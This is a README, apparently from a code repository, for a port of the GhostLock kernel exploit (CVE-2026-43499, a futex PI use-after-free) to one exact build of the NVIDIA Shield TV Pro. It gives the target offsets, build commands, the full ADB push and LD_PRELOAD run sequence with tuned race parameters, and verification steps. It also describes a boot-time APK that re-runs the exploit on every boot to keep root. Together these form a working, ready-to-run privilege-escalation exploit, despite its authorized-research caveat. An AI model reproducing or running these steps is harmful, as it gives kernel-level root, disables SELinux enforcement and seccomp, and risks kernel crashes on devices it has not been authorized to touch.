已验证的 GhostLock CVE-2026-43499 移植版,适用于 NVIDIA Shield TV Pro mdarcy 9.2.4
经验证的 arm64 移植版本,针对运行 Shield Experience 9.2.4 的 2019 款 NVIDIA Shield TV Pro(mdarcy)上的 GhostLock futex PI use-after-free(CVE-2026-43499)。该载荷会修改实时 ADB 守护进程的凭据,因此无需解锁引导加载程序、擦除用户数据、安装 su 或修改已验证分区,新的 ADB shell 即可获得 UID 0。
这是一个针对特定构建的内核漏洞利用,仅用于授权安全研究。 不匹配或竞态丢失可能导致内核崩溃。请勿在其他指纹、内核、设备或硬件版本上运行。
| 字段 | 必需值 |
|---|---|
| 产品 | NVIDIA Shield TV Pro 2019,mdarcy |
| 指纹 | NVIDIA/mdarcy/mdarcy:11/RQ1A.210105.003/7825230_4387.0822:user/release-keys |
| 内核 | 4.9.141-tegra-gb6e5605a |
| Android 补丁级别 | 2026-01-05 |
| 内核基址 | 0xffffff8008080000(偏移已禁用) |
该移植版本已在带绿色 Verified Boot 和强制 dm-verity 的锁定设备上验证通过。由于该漏洞利用仅修改实时内核状态,这些机制保持完好。
成功运行后,新连接会为 adbd 及其子 shell 报告 UID/GID 0,完整能力至能力 37,seccomp 已禁用,SELinux 为 permissive。Root 在 ADB 客户端断开后仍然有效,但无法在 adbd 重启或设备重启后自行保留。
为在不修改已验证分区的情况下实现实用的重启持久化,该仓库包含一个 userdata APK。其非导出的 BOOT_COMPLETED 接收器会启动一个短时前台服务,该服务在每次启动时从未特权应用 UID 运行一次哈希固定的漏洞利用,并在运行器退出时停止。安装后无需外部主机。外部 Podman 看门狗仍可作为恢复后备方案。请参阅 persistence/README.md 和 watchdog/README.md。
这是自主重新利用,而非静态固件补丁:每次启动都有一个短暂窗口,期间 adbd 仍持有其原始凭据。在 Android 初始化 adbd 之前使其以 root 身份启动,需要修改已验证的启动链,这超出了此锁定、无擦除设计范围。
rt_mutex_waiter。MCAST_BLOCK_SOURCE 标记被回收的栈,并重定向 rt-mutex 树操作。mm_struct slab 页。ashmem_misc.fops 重定向到由传统 configfs 读/写处理程序支持的表。adbd PID,并验证其完整凭据对象。继承的管道缓冲区物理读/写阶段未被使用。详细的目标观察和已验证偏移见 PORT_STATUS.md。
编译器为 Android NDK r29(aarch64-linux-android30-clang)。使用已安装的 Linux NDK 直接构建:
cd exploit
make NDK=/opt/android-ndk-r29
或构建随附的 Podman 镜像,该镜像会下载官方 r29 Linux 归档文件并在解压前校验其已发布的 SHA-1:
podman build -t ghostlock-android:ndk-r29 -f build/Containerfile .
podman run --rm \
-v "$PWD:/src:Z" \
-w /src/exploit \
ghostlock-android:ndk-r29 make -B
输出:
exploit/build/preload-mdarcy-9.2.4.so
SHA-256 a3a1e75b627d8dd419e9bafd2a73082a8647510bf6ce4f975e52baf5aa1d0761
Shield 构建有意排除了参考项目中嵌入的 su 守护进程和壁纸载荷。
通过授权的网络 ADB 连接,推送发布资源或本地构建,然后进入 ADB shell:
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 push \
exploit/build/preload-mdarcy-9.2.4.so \
/data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell chmod 0755 \
/data/local/tmp/preload-mdarcy-9.2.4.so
adb -s SHIELD_ADDRESS:5555 shell
在该设备 shell 内运行以下命令:
GHOSTLOCK_FIXED_BASE=1 \
GHOSTLOCK_MAIN_ROUTE=slide-mcast \
GHOSTLOCK_SLIDE_FULL_LOCK=1 \
GHOSTLOCK_MIXED_ORDER_PAYLOAD=1 \
GHOSTLOCK_MM_PARTIALS=14 \
GHOSTLOCK_BUDDY_HOLD_PAIRS=256 \
GHOSTLOCK_BUDDY_HOLD_SENDS=8192 \
GHOSTLOCK_RECLAIM_PAIRS=64 \
GHOSTLOCK_RECLAIM_SENDS=2048 \
GHOSTLOCK_ADBD_ROOT_CONFIGFS=1 \
GHOSTLOCK_ADBD_PID="$(pidof adbd)" \
LD_PRELOAD=/data/local/tmp/preload-mdarcy-9.2.4.so \
/system/bin/true
断开连接并打开新的传输以进行验证:
adb disconnect SHIELD_ADDRESS:5555
adb connect SHIELD_ADDRESS:5555
adb -s SHIELD_ADDRESS:5555 shell id
adb -s SHIELD_ADDRESS:5555 shell \
'grep -E "^(Uid|Gid|Cap(Inh|Prm|Eff|Bnd|Amb)|Seccomp):" /proc/$(pidof adbd)/status'
该载荷拒绝从已为 UID 0 的 ADB shell 重新触发,除非明确提供 GHOSTLOCK_FORCE_ROOT_TRIGGER=1。请勿强制触发;特权调度路径具有不同的 PI 行为,可能导致内核崩溃。
将已签名的发布 APK 下载到 persistence/app/build/ghostlock-boot-mdarcy-9.2.4.apk,然后从授权的 PowerShell ADB 主机安装并启用:
./persistence/install.ps1 `
-Target SHIELD_ADDRESS:5555 `
-AdbPath C:/path/to/platform-tools/adb.exe
安装程序仅修改 userdata 且不重启。在下次 BOOT_COMPLETED 时,应用会验证精确的指纹、内核和嵌入的载荷哈希,记录其尝试,并从其正常应用 UID 调用 GhostLock。文件锁、每次启动仅尝试一次的状态以及 15 分钟的跨启动冷却时间可防止重复或重启循环尝试。它不安装 su 二进制文件。Android 仅在本机运行器活动期间显示低优先级通知 Restoring ADB root;等待进程退出后,waiter 会移除该通知。有关构建、签名、日志、验证、恢复和卸载的详细信息,请参阅 persistence/README.md。
最终 APK 已在外部看门狗停止的情况下验证:启动计数 134 首次暴露了原始 UID-2000/enforcing 的 adbd,下一个新传输为 UID/GID 0,具有完整的 0x3fffffffff 能力掩码,seccomp 已禁用,SELinux 为 permissive。服务和通知已自行清理。
手动运行的诊断信息会同步写入 /sdcard/Download/log_<timestamp>.txt,回退到 /data/local/tmp。启动应用会将运行器和载荷输出重定向到其私有 files/boot.log,可通过 run-as com.cyberbalsa.ghostlockboot 读取。如果竞态导致内核崩溃,触发前状态会阻止在该启动计数中再次尝试,且 15 分钟冷却时间会跨重启延续。
exploit/src/:触发、回收、任意读/写以及有界 adbd 凭据补丁。exploit/targets/shield-mdarcy-9.2.4/:精确的构建特定目标布局。analysis/:内核符号和布局提取辅助工具。persistence/:设备端启动 APK、本机运行器和安装程序。watchdog/:哈希固定的主机端恢复后备方案。report.md:保留的原始 OPPO 参考移植分析,用于溯源。此移植源自 NebuSec 发布的 GhostLock 研究和漏洞利用框架,以及 yijiacloud 的 OPPO PCKM00 参考移植。KernelSnitch 按其上游条款嵌入。
Apache-2.0;请参阅 LICENSE。